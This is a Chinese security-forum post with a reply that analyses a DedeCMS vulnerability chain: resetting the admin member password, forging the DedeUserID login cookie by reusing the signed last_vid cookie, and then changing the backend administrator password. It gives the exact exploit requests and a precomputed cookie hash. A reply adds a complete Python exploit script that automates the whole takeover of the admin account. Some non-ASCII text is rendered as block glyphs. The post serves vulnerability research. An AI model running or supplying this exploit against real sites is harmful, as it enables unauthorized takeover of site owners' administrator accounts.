DEDECMS 任意重置管理员密码

zxc / 2018-01-17 19:03:50 / 浏览数 8652

很早之前发现的漏洞，整体都比较有趣，分享出来一下

漏洞危害
dedecms开启会员中心注册功能，即可完成管理员密码重置

漏洞成因
利用两个漏洞即可完成管理员重置：
dedecms前台用户任意密码重置
dedecms前台任意用户登录

第一个漏洞就是最近爆出的dedecms前台漏洞，单一危害挺有限，此处不做分析
大家可以参考下lemon的文章

上面文章能重置管理员密码是由于：
1、前台重置dede_member的admin密码
2、cookie绕过admin登录前台(默认是不能登录的)
3、通过前台功能修改dede_admin中的admin密码

lemon文章是利用老版本注入获取cookie加密key 直接伪造一个管理员的cookie

下面分析下如何完成前台任意用户登陆

判断用户登陆与否的isLogin函数

```
/**
    *  ■■■■■■■■■■
    *
    * @return    bool
    */
   function IsLogin()
   {
       if($this->M_ID > 0) return TRUE;
       else return FALSE;
   }
```

看下M_ID来自哪里

```
class MemberLogin
{
   var $M_ID;
   var $M_LoginID;
   var $M_MbType;
   var $M_Money;
   var $M_Scores;
   var $M_UserName;
   var $M_Rank;
    var $M_Face;
   var $M_LoginTime;
   var $M_KeepTime;
   var $M_Spacesta;
   var $fields;
   var $isAdmin;
   var $M_UpTime;
   var $M_ExpTime;
   var $M_HasDay;
   var $M_JoinTime;
   var $M_Honor = '';
   var $memberCache='memberlogin';

   //php5■■■■
   function __construct($kptime = -1, $cache=FALSE)
   {
       global $dsql;
       if($kptime==-1){
```

```
            $this->M_KeepTime = 3600 * 24 * 7;
        }else{
            $this->M_KeepTime = $kptime;
        }
        $formcache = FALSE;
        $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
```

看下GetNum

```
/**
    *  ■■■■■
    *
    * @access    public
    * @param     string  $fnum  ■■■■■
    * @return    string
    */
   function GetNum($fnum){
       $fnum = preg_replace("/[^0-9\.]/", '', $fnum);
       return $fnum;
   }
```

剔除参数中的非数字型字符 后面需要用到

看下GetCookie函数

```
/**
*  ■■Cookie■■
*
* @param     $key   ■■
* @return    string
*/
if ( ! function_exists('GetCookie'))
{
   function GetCookie($key)
   {
       global $cfg_cookie_encode;
       if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
       {
           return '';
       }
       else
       {
           if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
           {
               return '';
           }
           else
           {
               return $_COOKIE[$key];
           }
       }
   }
}
```

DedeUserID与DedeUserID__ckMd5 需满足如下关系

```
$_COOKIE[$key.'__ckMd5'] == substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)
```

admin对应的DedeUserID应为1
如何找出对应的DedeUserID__ckMd5才是关键

对该程序其他使用了PutCookie的地方进行查找，找寻可以伪造出1 的cookie密文

/member/index.php

```
/*-----------------------------
//■■■■■■
function space_index(){  }
-----------------------------*/
else
{
```

```
   require_once(DEDEMEMBER.'/inc/config_space.php');
   if($action == '')
   {
       include_once(DEDEINC."/channelunit.func.php");
       $dpl = new DedeTemplate();
       $tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";

       //■■■■■■■■■■■■■■■■
       $vtime = time();
       $last_vtime = GetCookie('last_vtime');
       $last_vid = GetCookie('last_vid');
       if(empty($last_vtime))
       {
           $last_vtime = 0;
       }
       if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.',') )
       {
           if($last_vid!='')
           {
               $last_vids = explode(',',$last_vid);
               $i = 0;
               $last_vid = $uid;
               foreach($last_vids as $lsid)
               {
                   if($i>10)
                   {
                       break;
                   }
                   else if($lsid != $uid)
                   {
                       $i++;
                       $last_vid .= ','.$last_vid;
                   }
               }
           }
           else
           {
               $last_vid = $uid;
           }
           PutCookie('last_vtime', $vtime, 3600*24, '/');
           PutCookie('last_vid', $last_vid, 3600*24, '/');
```

cookie中last_vid为空下
$last_vid = $uid;
然后PutCookie('last_vid', $last_vid, 3600*24, '/');

只要能构造$uid的值即能获取想要的cookie 1对应的密文

利用方法

1.前台管理员密码重置
member/resetpassword.php
post：dopost=safequestion&gourl=&id=1&safequestion=0.0

/member/resetpassword.php?dopost=getpasswd&id=1&;key=w0AKS9eI
两步重置前台管理员密码

2.前台管理员登陆
由于dede用户注册有字符长度限制 而uid即为注册的用户名 再利用Getnum函数的剔除非数字型字符的功能 于是注册1aaaa用户

dede默认安装注册需要邮箱验证 后台人工更改为无需验证
前台访问member/index.php?uid=1aaaa

1aaaa对应的ckMD5为73c6ca2cadef68f9

3.前台用户密码修改
前台密码修改连带修改后台密码

```
$query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
   $dsql->ExecuteNoneQuery($query1);
```

```
//■■■■■■■■■■■■■■■
if($cfg_ml->fields['matt']==10 && $pwd2!="")
{
    $query2 = "UPDATE `#@__admin` SET pwd='$pwd2' where id='".$cfg_ml->M_ID."' ";
    $dsql->ExecuteNoneQuery($query2);
}
```

重置密码之后即可用重置后的密码登陆dede后台

点击收藏 | 1 关注 | 3

上一篇：蜜罐与内网安全从0到1（五） 下一篇：Misc 总结 ----流量分析 ...

1. 1 条回复

 hades 2018-01-18 09:35:52

```
# coding=utf-8

import requests
import re

if __name__ == "__main__":
   dede_host = "http://127.0.0.1/"
   oldpwd = '123456'
   newpwd = "cnvdcnvd"
   s = requests.Session()

   if '■■■■■■■■■■' in requests.get(dede_host + 'member/reg_new.php').content:
       exit('The system has closed the member function .Can not attack !!!')
   else:
       print "The system opened the membership function, I wish you good luck  !!"

   headers = {"Referer": dede_host + "member/reg_new.php"}
   rs = s.get(dede_host + 'include/vdimgck.php').content
   file = open('1.jpg', "wb")
   file.write(rs)
   file.close()

   vdcode = raw_input("Please enter the registration verification code : ")

   userid = '0000001'
   uname = '0000001'
   userpwd = '123456'


   headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)",
              "Content-Type": "application/x-www-form-urlencoded"}
   data = "dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid={userid}&uname={uname}&userpwd={us
       userid=userid, uname=uname, userpwd=userpwd, vdcode=vdcode)
   rs = s.post(dede_host + '/member/reg_new.php', data=data, headers=headers)
   if "■■■■■■" in rs.content:
       exit("Verification code error, account registration failed")
   elif '■■■■' in rs.content:
       print 'registration success !!'

   rs = s.get(dede_host + "/member/index.php?uid={userid}".format(userid=userid))
   if "■■■■■■■■■" in rs.content:
       exit("User information has not been approved !!!")  # ■■■■■■■■■■■(-10 ■■■■■ -1 ■■■■■, 0 ■■■■)■
   searchObj = re.search(r'last_vid__ckMd5=(.*?);', rs.headers['Set-Cookie'], re.M | re.I)
   last_vid__ckMd5 = searchObj.group(1)
   s.cookies['DedeUserID'] = userid
   s.cookies['DedeUserID__ckMd5'] = last_vid__ckMd5
   rs = s.get(dede_host + "/member/index.php")
   if "class=\"userName\">admin</a>" in rs.text:
       print "Administrator login successful !!"

   headers = {"Referer": dede_host + "member/edit_baseinfo.php"}
   rs = s.get(dede_host + 'include/vdimgck.php').content
   file = open('2.jpg', "wb")
```

```
    file.write(rs)
    file.close()

    vdcode = raw_input("Please enter the verification code : ")

    data = {"dopost": "save", "uname": "admin", "oldpwd": oldpwd, "userpwd": newpwd, "userpwdok": newpwd,
            "safequestion": "0", "newsafequestion": "0", "sex": "■", "email": "admin@admin.com", "vdcode": vdcode}
    rs = s.post(dede_host + '/member/edit_baseinfo.php', data=data)
    if "■■■■■■■■■■■" in  rs.content:
       print "Administrator password modified successfully !!"
       print "The new administrator password is : " + newpwd
    else:
        print "attack fail"
```

1 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板